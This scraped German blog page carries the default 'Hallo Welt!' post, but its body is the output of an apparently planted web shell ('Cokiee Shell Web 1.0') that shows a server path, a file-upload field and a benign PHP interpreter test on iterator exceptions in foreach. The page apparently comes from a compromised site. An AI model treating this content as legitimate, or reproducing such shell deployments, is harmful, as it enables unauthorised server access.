Hallo Welt!

von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare

Cokiee Shell

Current Path : /usr/local/src/php7/php-7.0.5/Zend/tests/

Upload File :

Current File : //usr/local/src/php7/php-7.0.5/Zend/tests/foreach_003.phpt

--TEST--
Iterator exceptions in foreach by value
--FILE--
<?php
class IT implements Iterator {
    private $n = 0;
    private $count = 0;
    private $trap = null;

    function __construct($count, $trap = null) {
    	$this->count = $count;
    	$this->trap = $trap;
    }

    function trap($trap) {
    	if ($trap === $this->trap) {
    		throw new Exception($trap);
    	}
    }

    function rewind()  {$this->trap(__FUNCTION__); $this->n = 0;}
    function valid()   {$this->trap(__FUNCTION__); return $this->n < $this->count;}
    function key()     {$this->trap(__FUNCTION__); return $this->n;}
    function current() {$this->trap(__FUNCTION__); return $this->n;}
    function next()    {$this->trap(__FUNCTION__); $this->n++;}
}

foreach(['rewind', 'valid', 'key', 'current', 'next'] as $trap) {
	$obj = new IT(3, $trap);
	try {
		// IS_CV
		foreach ($obj as $key => $val) echo "$val\n";
	} catch (Exception $e) {
		echo $e->getMessage() . "\n";
	}
	unset($obj);

	try {
		// IS_VAR
		foreach (new IT(3, $trap) as $key => $val) echo "$val\n";
	} catch (Exception $e) {
		echo $e->getMessage() . "\n";
	}

	try {
		// IS_TMP_VAR
		foreach ((object)new IT(2, $trap) as $key => $val) echo "$val\n";
	} catch (Exception $e) {
		echo $e->getMessage() . "\n";
	}
}
?>
--EXPECT--
rewind
rewind
rewind
valid
valid
valid
key
key
key
current
current
current
0
next
0
next
0
next

Cokiee Shell Web 1.0, Coded By Razor

Kommentar absenden Antworten abbrechen

Du musst angemeldet sein, um einen Kommentar abzugeben.